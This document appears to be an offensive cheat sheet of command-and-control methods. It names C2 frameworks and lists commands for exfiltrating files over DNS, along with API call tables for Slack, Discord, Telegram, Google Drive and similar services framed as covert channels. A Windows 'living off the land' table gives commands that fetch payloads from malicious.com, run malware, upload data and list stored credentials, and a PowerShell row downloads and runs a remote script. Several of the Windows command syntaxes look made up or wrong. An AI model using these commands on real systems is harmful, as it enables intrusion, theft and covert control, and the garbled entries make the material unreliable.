Top C&C Methods

Top C&C Methods

DNS-over-HTTPS C2

github.com/sensepost/godoh

  1. Starting the C2 Server: This command starts the godoh Command and Control (C2) server, which listens for incoming DNS requests and commands from agents.

    godoh --domain example.com c2

    • Description: This command initializes the C2 server on the specified domain (example.com in this case). The server listens on port 53 for DNS queries and handles communication with agents.
  2. Sending a File via DoH (DNS over HTTPS): This command sends a file to a target domain using DNS A record lookups.

    godoh --domain targetdomain.com send --file path/to/yourfile.txt

    • Description: This command encodes and encrypts the specified file (yourfile.txt), then sends it to the targetdomain.com. The file is transmitted via DNS queries, which are less likely to be blocked or monitored by network security systems.

havoc

github.com/HavocFramework/Havoc

instagram

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Authenticate UserAuthenticate the user to gain access to Instagram's API.curl -X GET 'https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code'https://api.instagram.com/oauth/authorizeGET https://api.instagram.com/oauth/authorize?client_id={app-id}&redirect_uri={redirect-uri}&scope=user_profile,user_media&response_type=code
2Get Access TokenExchange the code received after authentication for an access token.curl -X POST 'https://api.instagram.com/oauth/access_token' -F 'client_id={app-id}' -F 'client_secret={app-secret}' -F 'grant_type=authorization_code' -F 'redirect_uri={redirect-uri}' -F 'code={code}'https://api.instagram.com/oauth/access_tokenPOST https://api.instagram.com/oauth/access_token
3Retrieve User MediaFetch media objects from the authenticated user's account.curl -X GET 'https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token}'https://graph.instagram.com/me/mediaGET https://graph.instagram.com/me/media?fields=id,caption&access_token={access-token}
4Get Media DetailsGet details of a specific media object.curl -X GET 'https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token}'https://graph.instagram.com/{media-id}GET https://graph.instagram.com/{media-id}?fields=id,media_type,media_url,username,timestamp&access_token={access-token}
5Post to InstagramPost new media to the user's Instagram account.Note: Direct posting via API is restricted. Use Instagram's Content Publishing API.Not directly availableNot directly available

slack

github.com/Coalfire-Research/Slackor

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Authenticate AppObtain an access token for your Slack app.curl -X POST 'https://slack.com/api/oauth.v2.access' -H 'Content-Type: application/x-www-form-urlencoded' -d 'code={code}&client_id={client-id}&client_secret={client-secret}&redirect_uri={redirect-uri}'https://slack.com/api/oauth.v2.accessPOST https://slack.com/api/oauth.v2.access
2Post MessageSend a message to a channel.curl -X POST 'https://slack.com/api/chat.postMessage' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"channel":"{channel-id}","text":"Hello, world!"}'https://slack.com/api/chat.postMessagePOST https://slack.com/api/chat.postMessage
3List ChannelsRetrieve a list of channels in the Slack workspace.curl -X GET 'https://slack.com/api/conversations.list' -H 'Authorization: Bearer {access-token}'https://slack.com/api/conversations.listGET https://slack.com/api/conversations.list
4Create ChannelCreate a new channel in the workspace.curl -X POST 'https://slack.com/api/conversations.create' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"name":"new-channel"}'https://slack.com/api/conversations.createPOST https://slack.com/api/conversations.create
5Upload FileUpload a file to a channel.curl -F file=@"/path/to/your/file.txt" -F channels="{channel-id}" -H 'Authorization: Bearer {access-token}' 'https://slack.com/api/files.upload'https://slack.com/api/files.uploadPOST https://slack.com/api/files.upload

Google calendar

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List CalendarsRetrieve a list of calendars in the user's account.curl -X GET 'https://www.googleapis.com/calendar/v3/users/me/calendarList' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/calendar/v3/users/me/calendarListGET https://www.googleapis.com/calendar/v3/users/me/calendarList
2Create EventCreate a new event in a specified calendar.curl -X POST 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Event Title", "description": "Event Description", "start": { "dateTime": "2023-11-10T09:00:00-07:00" }, "end": { "dateTime": "2023-11-10T10:00:00-07:00" } }'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/eventsPOST https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events
3Get EventRetrieve details of a specific event.curl -X GET 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}GET https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}
4Update EventUpdate an existing event in a calendar.curl -X PUT 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "summary": "Updated Event Title", "description": "Updated Description" }'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}PUT https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}
5Delete EventDelete an event from a calendar.curl -X DELETE 'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}DELETE https://www.googleapis.com/calendar/v3/calendars/{calendar-id}/events/{event-id}

google drive

github.com/looCiprian/GC2-sheet

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List FilesRetrieve a list of files in the user's Google Drive.curl -X GET 'https://www.googleapis.com/drive/v3/files' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/drive/v3/filesGET https://www.googleapis.com/drive/v3/files
2Upload FileUpload a new file to Google Drive.curl -X POST 'https://www.googleapis.com/upload/drive/v3/files?uploadType=media' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: {mime-type}' --data-binary '@{file-path}'https://www.googleapis.com/upload/drive/v3/filesPOST https://www.googleapis.com/upload/drive/v3/files
3Download FileDownload a file from Google Drive.curl -X GET 'https://www.googleapis.com/drive/v3/files/{file-id}?alt=media' -H 'Authorization: Bearer {access-token}' --output {local-file-path}https://www.googleapis.com/drive/v3/files/{file-id}GET https://www.googleapis.com/drive/v3/files/{file-id}?alt=media
4Update FileUpdate an existing file in Google Drive.curl -X PATCH 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{ "name": "new-file-name" }'https://www.googleapis.com/drive/v3/files/{file-id}PATCH https://www.googleapis.com/drive/v3/files/{file-id}
5Delete FileDelete a file from Google Drive.curl -X DELETE 'https://www.googleapis.com/drive/v3/files/{file-id}' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/drive/v3/files/{file-id}DELETE https://www.googleapis.com/drive/v3/files/{file-id}

Living Off The Land Binaries

Binary/Library/ScriptFunctionExample Command
AddinUtil.exeExecuteAddinUtil.exe /execute /payload:url
AppInstaller.exeDownloadAppInstaller.exe /download /url:http://malicious.com/payload
Aspnet_Compiler.exeAWL BypassAspnet_Compiler.exe /path:C:\malicious_code
At.exeExecuteAt.exe 12:00 /every:M,T,W,Th,F "C:\malicious\malware.exe"
Atbroker.exeExecuteAtbroker.exe /start /app:C:\malicious\malware.exe
Bash.exeExecute`Bash.exe -c 'curl malicious.com/script.sh
Bitsadmin.exeDownloadBitsadmin.exe /transfer myDownloadJob /download /priority normal http://malicious.com/payload.exe C:\payload.exe
CertOC.exeExecuteCertOC.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe
CertReq.exeDownloadCertReq.exe -retrieve http://malicious.com/certificate.cer
Certutil.exeDownloadCertutil.exe -urlcache -split -f http://malicious.com/payload.exe payload.exe
Cmd.exeExecuteCmd.exe /c "C:\malicious\malware.exe"
Cmdkey.exeCredentialsCmdkey.exe /list > C:\output.txt
cmdl32.exeDownloadcmdl32.exe /download http://malicious.com/payload.exe C:\payload.exe
Cmstp.exeExecuteCmstp.exe /ni /s C:\malicious\malware.inf
Colorcpl.exeCopyColorcpl.exe /copy C:\malicious\malware.exe C:\Windows\System32\
ConfigSecurityPolicy.exeUploadConfigSecurityPolicy.exe /upload C:\data.txt http://malicious.com/upload
Conhost.exeExecuteConhost.exe C:\malicious\malware.exe
Control.exeExecuteControl.exe /name Microsoft.WindowsUpdate
Csc.exeCompileCsc.exe /out:Malware.exe Malware.cs
Cscript.exeExecuteCscript.exe //E:JScript C:\malicious\script.js

merlin

github.com/Ne0nd0g/merlin

kubesploit

github.com/cyberark/kubesploit

phpsploit

github.com/nil0x42/phpsploit

blackmamba

github.com/loseys/BlackMamba

silver

github.com/BishopFox/sliver

HeadHunter

github.com/Lionskey/HeadHunter

Exchange

github.com/parham-f/Exchange_C2

cobalt

github.com/The-Z-Labs/bof-launcher

brc4

discord

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Send MessageSend a message to a Discord channel.curl -X POST 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Hello, world!"}'https://discord.com/api/channels/{channel-id}/messagesPOST https://discord.com/api/channels/{channel-id}/messages
2List Channel MessagesRetrieve messages from a specific channel.curl -X GET 'https://discord.com/api/channels/{channel-id}/messages' -H 'Authorization: Bot {bot-token}'https://discord.com/api/channels/{channel-id}/messagesGET https://discord.com/api/channels/{channel-id}/messages
3Edit MessageEdit a previously sent message in a channel.curl -X PATCH 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"content": "Edited message"}'https://discord.com/api/channels/{channel-id}/messages/{message-id}PATCH https://discord.com/api/channels/{channel-id}/messages/{message-id}
4Delete MessageDelete a message from a channel.curl -X DELETE 'https://discord.com/api/channels/{channel-id}/messages/{message-id}' -H 'Authorization: Bot {bot-token}'https://discord.com/api/channels/{channel-id}/messages/{message-id}DELETE https://discord.com/api/channels/{channel-id}/messages/{message-id}
5Create ChannelCreate a new channel in a Discord server.curl -X POST 'https://discord.com/api/guilds/{guild-id}/channels' -H 'Authorization: Bot {bot-token}' -H 'Content-Type: application/json' -d '{"name": "new-channel", "type": 0}'https://discord.com/api/guilds/{guild-id}/channelsPOST https://discord.com/api/guilds/{guild-id}/channels

telegram

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Send MessageSend a message to a Telegram chat.curl -X POST 'https://api.telegram.org/bot{bot-token}/sendMessage' -d 'chat_id={chat-id}&text=Hello, world!'https://api.telegram.org/bot{bot-token}/sendMessagePOST https://api.telegram.org/bot{bot-token}/sendMessage
2Get UpdatesRetrieve new updates for the bot.curl -X GET 'https://api.telegram.org/bot{bot-token}/getUpdates'https://api.telegram.org/bot{bot-token}/getUpdatesGET https://api.telegram.org/bot{bot-token}/getUpdates
3Edit MessageEdit a text message sent by the bot.curl -X POST 'https://api.telegram.org/bot{bot-token}/editMessageText' -d 'chat_id={chat-id}&message_id={message-id}&text=Edited message'https://api.telegram.org/bot{bot-token}/editMessageTextPOST https://api.telegram.org/bot{bot-token}/editMessageText
4Delete MessageDelete a message sent by the bot.curl -X POST 'https://api.telegram.org/bot{bot-token}/deleteMessage' -d 'chat_id={chat-id}&message_id={message-id}'https://api.telegram.org/bot{bot-token}/deleteMessagePOST https://api.telegram.org/bot{bot-token}/deleteMessage
5Send PhotoSend a photo to a Telegram chat.curl -X POST 'https://api.telegram.org/bot{bot-token}/sendPhoto' -F 'chat_id={chat-id}' -F 'photo=@/path/to/photo.jpg'https://api.telegram.org/bot{bot-token}/sendPhotoPOST https://api.telegram.org/bot{bot-token}/sendPhoto

github

github.com/3ct0s/dystopia-c2

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List RepositoriesRetrieve a list of repositories for a user.curl -X GET 'https://api.github.com/users/{username}/repos' -H 'Authorization: token {access-token}'https://api.github.com/users/{username}/reposGET https://api.github.com/users/{username}/repos
2Create RepositoryCreate a new repository.curl -X POST 'https://api.github.com/user/repos' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "repo-name", "private": false}'https://api.github.com/user/reposPOST https://api.github.com/user/repos
3Get RepositoryRetrieve details of a specific repository.curl -X GET 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'https://api.github.com/repos/{owner}/{repo}GET https://api.github.com/repos/{owner}/{repo}
4Update RepositoryUpdate settings of a repository.curl -X PATCH 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}' -H 'Content-Type: application/json' -d '{"name": "new-repo-name", "description": "Updated description"}'https://api.github.com/repos/{owner}/{repo}PATCH https://api.github.com/repos/{owner}/{repo}
5Delete RepositoryDelete a repository.curl -X DELETE 'https://api.github.com/repos/{owner}/{repo}' -H 'Authorization: token {access-token}'https://api.github.com/repos/{owner}/{repo}DELETE https://api.github.com/repos/{owner}/{repo}

image

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Upload ImageUpload an image to the server for processing.curl -X POST 'https://api.imaginaryservice.com/upload' -H 'Authorization: Bearer {access-token}' -F 'image=@/path/to/image.jpg'https://api.imaginaryservice.com/uploadPOST https://api.imaginaryservice.com/upload
2Apply FilterApply a filter to an uploaded image.curl -X POST 'https://api.imaginaryservice.com/images/{image-id}/filter' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"filter": "sepia"}'https://api.imaginaryservice.com/images/{image-id}/filterPOST https://api.imaginaryservice.com/images/{image-id}/filter
3Resize ImageResize an uploaded image.curl -X PUT 'https://api.imaginaryservice.com/images/{image-id}/resize' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{"width": 800, "height": 600}'https://api.imaginaryservice.com/images/{image-id}/resizePUT https://api.imaginaryservice.com/images/{image-id}/resize
4Retrieve ImageDownload a processed image.curl -X GET 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}' --output {local-file-path}https://api.imaginaryservice.com/images/{image-id}GET https://api.imaginaryservice.com/images/{image-id}
5Delete ImageDelete an image from the server.curl -X DELETE 'https://api.imaginaryservice.com/images/{image-id}' -H 'Authorization: Bearer {access-token}'https://api.imaginaryservice.com/images/{image-id}DELETE https://api.imaginaryservice.com/images/{image-id}

powershell

IDTitleDescriptionPowerShell Commands and CodesAPI Endpoint (Hypothetical)HTTP Requests (Example)
1Invoke Web RequestSend a GET request to an API.Invoke-WebRequest -Uri 'https://api.example.com/data' -Method Get -Headers @{Authorization="Bearer {access-token}"}https://api.example.com/dataGET https://api.example.com/data
2Download FileDownload a file from the internet.Invoke-WebRequest -Uri 'https://example.com/file.zip' -OutFile 'path\to\save\file.zip'N/AN/A
3Execute Remote ScriptRun a PowerShell script from a remote location.IEX (New-Object Net.WebClient).DownloadString('https://example.com/script.ps1')N/AN/A
4Post Data to APISend a POST request with data.`$body = @{key='value'}ConvertTo-Json; Invoke-WebRequest -Uri 'api.example.com/submit' -Method Post -Body $body -ContentType 'application/json' -Headers @{Authorization="Bearer {access-token}"}`https://api.example.com/submitPOST https://api.example.com/submit
5Fetch System InformationRetrieve system information.Get-ComputerInfoN/AN/A

curl

IDTitleDescriptioncurl Commands and CodesAPI EndpointHTTP Requests
1GET RequestRetrieve data from an API.curl -X GET 'https://api.example.com/data' -H 'Authorization: Bearer {access-token}'https://api.example.com/dataGET https://api.example.com/data
2POST RequestSend data to an API.curl -X POST 'https://api.example.com/submit' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"key": "value"}'https://api.example.com/submitPOST https://api.example.com/submit
3PUT RequestUpdate data at an API.curl -X PUT 'https://api.example.com/update/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"newKey": "newValue"}'https://api.example.com/update/123PUT https://api.example.com/update/123
4DELETE RequestDelete data using an API.curl -X DELETE 'https://api.example.com/delete/123' -H 'Authorization: Bearer {access-token}'https://api.example.com/delete/123DELETE https://api.example.com/delete/123
5PATCH RequestPartially update data at an API.curl -X PATCH 'https://api.example.com/modify/123' -H 'Content-Type: application/json' -H 'Authorization: Bearer {access-token}' -d '{"patchKey": "patchValue"}'https://api.example.com/modify/123PATCH https://api.example.com/modify/123

scp

IDTitleDescriptionSCP Commands and CodesNotes
1Copy File to RemoteCopy a local file to a remote server.scp /path/to/local/file username@remotehost:/path/to/remote/directoryReplace paths and username@remotehost with actual values.
2Copy File from RemoteCopy a file from a remote server to the local machine.scp username@remotehost:/path/to/remote/file /path/to/local/directoryReplace paths and username@remotehost with actual values.
3Copy Directory to RemoteCopy a local directory to a remote server.scp -r /path/to/local/directory username@remotehost:/path/to/remoteUse -r for recursive copy of directories.
4Copy Directory from RemoteCopy a directory from a remote server to the local machine.scp -r username@remotehost:/path/to/remote/directory /path/to/localUse -r for recursive copy of directories.
5Secure Copy with Port SpecificationCopy a file using a specific SSH port.scp -P portnumber /path/to/local/file username@remotehost:/path/to/remote/directoryReplace portnumber with the SSH port number.

rsync

IDTitleDescriptionrsync Commands and CodesNotes
1Basic File SyncSynchronize a local file to a remote directory.rsync /path/to/local/file username@remotehost:/path/to/remote/directoryReplace paths and username@remotehost with actual values.
2Sync DirectorySynchronize a local directory to a remote directory.rsync -avz /path/to/local/directory/ username@remotehost:/path/to/remote/directory-avz flags are for archive mode, verbose, and compression.
3Sync with DeletionSynchronize while deleting files that are not in the source directory.rsync -avz --delete /path/to/local/directory/ username@remotehost:/path/to/remote/directory--delete flag removes files from the destination not present in the source.
4Dry RunPerform a trial run with no changes made.rsync -avz --dry-run /path/to/local/directory/ username@remotehost:/path/to/remote/directory--dry-run shows what would be done without making changes.
5Sync Over SSHSynchronize files securely over SSH.rsync -avz -e "ssh -p portnumber" /path/to/local/directory/ username@remotehost:/path/to/remote/directory-e "ssh -p portnumber" specifies using SSH on a custom port.

wget

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Download a Single FileDownload a file from a specified URL.wget http://example.com/file.txtN/AGET http://example.com/file.txt
2Download and Save with a Different NameDownload a file and save it under a different name.wget -O newfilename.txt http://example.com/file.txtN/AGET http://example.com/file.txt
3Download in BackgroundStart a download in the background.wget -b http://example.com/bigfile.isoN/AGET http://example.com/bigfile.iso
4Limit Download SpeedLimit the download speed.wget --limit-rate=100k http://example.com/bigfile.isoN/AGET http://example.com/bigfile.iso
5Download a Full WebsiteDownload the entire contents of a website.wget --mirror -p --convert-links -P ./local-dir http://example.comN/AGET http://example.com
6Download Files from a ListDownload files from a list in a text file.wget -i filelist.txtN/ABased on filelist.txt contents
7Download with AuthenticationDownload a file from a server with HTTP authentication.wget --http-user=user --http-password=password http://example.com/N/AGET http://example.com/
8Download via FTPDownload files from an FTP server.wget ftp://user:password@example.com/path/to/fileN/AFTP request to example.com
9Resume an Incomplete DownloadResume a download that was interrupted.wget -c http://example.com/bigfile.isoN/AGET http://example.com/bigfile.iso

yum

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Install a PackageInstall a new software package.yum install packageNameN/AN/A
2Update a PackageUpdate an installed software package.yum update packageNameN/AN/A
3Remove a PackageRemove an installed software package.yum remove packageNameN/AN/A
4List Installed PackagesList all installed packages.yum list installedN/AN/A
5Search for a PackageSearch for a package in the repositories.yum search keywordN/AN/A
6Check for UpdatesCheck for available updates for all packages.yum check-updateN/AN/A
7Clean CacheClean up yum cache to free up space.yum clean allN/AN/A
8List Available PackagesList all available packages in the repositories.yum list availableN/AN/A
9Get Package InformationDisplay detailed information about a package.yum info packageNameN/AN/A

winget

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Install a PackageInstall a new software package.winget install packageNameN/AN/A
2Search for a PackageSearch for a package in the repository.winget search packageNameN/AN/A
3Show Package DetailsShow details of a specific package.winget show packageNameN/AN/A
4List Installed PackagesList all installed packages.winget listN/AN/A
5Update a PackageUpdate an installed software package.winget upgrade packageNameN/AN/A
6Remove a PackageRemove an installed software package.winget uninstall packageNameN/AN/A
7Upgrade All PackagesUpgrade all upgradable packages.winget upgrade --allN/AN/A
8Export Package ListExport a list of installed packages to a file.winget export -o packages.jsonN/AN/A
9Import Package ListInstall packages from an exported list.winget import -i packages.jsonN/AN/A

ftp

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Connect to FTP ServerEstablish a connection with an FTP server.ftp ftp.server.comN/AN/A
2LoginLog in to the FTP server with a username and password.username then passwordN/AN/A
3List FilesList files in the current directory.ls or dirN/AN/A
4Change DirectoryChange the current directory on the FTP server.cd /path/to/directoryN/AN/A
5Upload FileUpload a file to the FTP server.put localfile.txt remotefile.txtN/AN/A
6Download FileDownload a file from the FTP server.get remotefile.txt localfile.txtN/AN/A
7Delete FileDelete a file on the FTP server.delete remotefile.txtN/AN/A
8Rename FileRename a file on the FTP server.rename oldfilename.txt newfilename.txtN/AN/A
9LogoutLogout from the FTP server.bye or quitN/AN/A

usb

Pastebin

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Create PasteCreate a new paste on Pastebin.curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=paste&api_paste_code=Sample Text&api_paste_name=Test Paste&api_paste_expire_date=10M&api_paste_format=text&api_user_key={api_user_key}'https://pastebin.com/api/api_post.phpPOST https://pastebin.com/api/api_post.php
2List User PastesList the pastes created by a user.curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=list&api_user_key={api_user_key}&api_results_limit=10'https://pastebin.com/api/api_post.phpPOST https://pastebin.com/api/api_post.php
3Get User DetailsRetrieve details of the logged-in user.curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=userdetails&api_user_key={api_user_key}'https://pastebin.com/api/api_post.phpPOST https://pastebin.com/api/api_post.php
4Delete PasteDelete a user's paste.curl -X POST 'https://pastebin.com/api/api_post.php' -d 'api_dev_key={api_dev_key}&api_option=delete&api_user_key={api_user_key}&api_paste_key={paste_key}'https://pastebin.com/api/api_post.phpPOST https://pastebin.com/api/api_post.php
5Get Raw PasteGet the raw text of a paste.curl -X GET 'https://pastebin.com/api/api_raw.php?api_dev_key={api_dev_key}&api_user_key={api_user_key}&api_paste_key={paste_key}'https://pastebin.com/api/api_raw.phpGET https://pastebin.com/api/api_raw.php

YouTube

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List VideosRetrieve a list of videos from a specific channel.curl -X GET 'https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY}'https://www.googleapis.com/youtube/v3/videosGET https://www.googleapis.com/youtube/v3/videos?part=snippet&channelId={channelId}&key={API_KEY}
2Upload VideoUpload a video to YouTube.curl -X POST -H 'Authorization: Bearer {access-token}' -F 'snippet={\"title\":\"My video\",\"description\":\"Video description\",\"tags\":[\"tag1\",\"tag2\"]}' -F 'status={\"privacyStatus\":\"public\"}' -F 'video=@/path/to/video.mp4;type=video/mp4' 'https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status'https://www.googleapis.com/upload/youtube/v3/videosPOST https://www.googleapis.com/upload/youtube/v3/videos?part=snippet,status
3Update Video DetailsUpdate metadata of an existing video.curl -X PUT 'https://www.googleapis.com/youtube/v3/videos' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"id\":\"{videoId}\",\"snippet\":{\"title\":\"New Title\",\"description\":\"Updated description\",\"categoryId\":\"10\"},\"status\":{\"privacyStatus\":\"public\"}}'https://www.googleapis.com/youtube/v3/videosPUT https://www.googleapis.com/youtube/v3/videos
4Delete VideoDelete a video from YouTube.curl -X DELETE 'https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY}' -H 'Authorization: Bearer {access-token}'https://www.googleapis.com/youtube/v3/videosDELETE https://www.googleapis.com/youtube/v3/videos?id={videoId}&key={API_KEY}
5Create PlaylistCreate a new playlist.curl -X POST 'https://www.googleapis.com/youtube/v3/playlists' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"snippet\":{\"title\":\"My Playlist\",\"description\":\"Playlist description\"},\"status\":{\"privacyStatus\":\"public\"}}'https://www.googleapis.com/youtube/v3/playlistsPOST https://www.googleapis.com/youtube/v3/playlists

Facebook

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Retrieve User ProfileGet details of a user's profile.curl -X GET 'https://graph.facebook.com/v12.0/me?access_token={access-token}'https://graph.facebook.com/v12.0/meGET https://graph.facebook.com/v12.0/me?access_token={access-token}
2Post to User's FeedCreate a post on a user's feed.curl -X POST 'https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token}'https://graph.facebook.com/v12.0/me/feedPOST https://graph.facebook.com/v12.0/me/feed?message=Hello%20World&access_token={access-token}
3List User's PhotosRetrieve a list of photos uploaded by a user.curl -X GET 'https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token}'https://graph.facebook.com/v12.0/me/photosGET https://graph.facebook.com/v12.0/me/photos?type=uploaded&access_token={access-token}
4Upload a PhotoUpload a photo to a user's account.curl -F 'source=@/path/to/photo.jpg' -F 'access_token={access-token}' 'https://graph.facebook.com/v12.0/me/photos'https://graph.facebook.com/v12.0/me/photosPOST https://graph.facebook.com/v12.0/me/photos
5Delete a PostDelete a specific post from a user's feed.curl -X DELETE 'https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}'https://graph.facebook.com/v12.0/{post-id}DELETE https://graph.facebook.com/v12.0/{post-id}?access_token={access-token}

AWS

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List S3 BucketsList all S3 buckets in your account.aws s3api list-bucketss3.amazonaws.comGET /
2Create EC2 InstanceLaunch a new EC2 instance.aws ec2 run-instances --image-id ami-0abcdef1234567890 --count 1 --instance-type t2.micro --key-name MyKeyPairec2.amazonaws.comPOST / with parameters in request body
3Invoke Lambda FunctionInvoke an AWS Lambda function.aws lambda invoke --function-name my-function out --log-type Taillambda.amazonaws.comPOST /2015-03-31/functions/my-function/invocations
4Describe RDS InstancesRetrieve details of RDS instances.aws rds describe-db-instancesrds.amazonaws.comPOST / with parameters in request body
5Publish to SNS TopicPublish a message to an SNS topic.aws sns publish --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic --message "Hello world"sns.amazonaws.comPOST / with parameters in request body

Microsoft’s Onedrive

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1List Files in FolderRetrieve a list of files in a specific OneDrive folder.curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children' -H 'Authorization: Bearer {access-token}'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/childrenGET https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}:/children
2Upload FileUpload a file to OneDrive.curl -X PUT 'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content' -H 'Authorization: Bearer {access-token}' -T '{file-path}'https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/contentPUT https://graph.microsoft.com/v1.0/me/drive/root:/{folder-path}/{file-name}:/content
3Download FileDownload a file from OneDrive.curl -X GET 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content' -H 'Authorization: Bearer {access-token}' -o '{local-file-path}'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/contentGET https://graph.microsoft.com/v1.0/me/drive/items/{item-id}/content
4Delete FileDelete a file from OneDrive.curl -X DELETE 'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}' -H 'Authorization: Bearer {access-token}'https://graph.microsoft.com/v1.0/me/drive/items/{item-id}DELETE https://graph.microsoft.com/v1.0/me/drive/items/{item-id}
5Create FolderCreate a new folder in OneDrive.curl -X POST 'https://graph.microsoft.com/v1.0/me/drive/root/children' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"name\": \"{folder-name}\", \"folder\": {}, \"@microsoft.graph.conflictBehavior\": \"rename\"}'https://graph.microsoft.com/v1.0/me/drive/root/childrenPOST https://graph.microsoft.com/v1.0/me/drive/root/children

Jabber/XMPP protocol

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Connect to ServerEstablish a connection with an XMPP server.xmpp.connect('server.com')N/AN/A
2AuthenticateLog in to the XMPP server with a username and password.xmpp.authenticate('username', 'password')N/AN/A
3Send MessageSend a message to another user.xmpp.sendMessage('recipient@server.com', 'Hello, world!')N/AN/A
4Join Chat RoomJoin a multi-user chat room.xmpp.joinRoom('room@conference.server.com', 'nickname')N/AN/A
5Receive MessagesListen for incoming messages.xmpp.onMessage((msg) => { console.log(msg); })N/AN/A

Blog

IDTitleDescriptionCommands and CodesAPI EndpointHTTP Requests
1Retrieve PostsGet a list of recent blog posts.curl -X GET 'https://example.com/wp-json/wp/v2/posts'https://example.com/wp-json/wp/v2/postsGET https://example.com/wp-json/wp/v2/posts
2Create PostCreate a new blog post.curl -X POST 'https://example.com/wp-json/wp/v2/posts' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"New Post Title\",\"content\":\"Post content here\",\"status\":\"publish\"}'https://example.com/wp-json/wp/v2/postsPOST https://example.com/wp-json/wp/v2/posts
3Update PostUpdate an existing blog post.curl -X POST 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}' -H 'Content-Type: application/json' -d '{\"title\":\"Updated Post Title\",\"content\":\"Updated content here\"}'https://example.com/wp-json/wp/v2/posts/{post-id}POST https://example.com/wp-json/wp/v2/posts/{post-id}
4Delete PostDelete a blog post.curl -X DELETE 'https://example.com/wp-json/wp/v2/posts/{post-id}' -H 'Authorization: Bearer {access-token}'https://example.com/wp-json/wp/v2/posts/{post-id}DELETE https://example.com/wp-json/wp/v2/posts/{post-id}
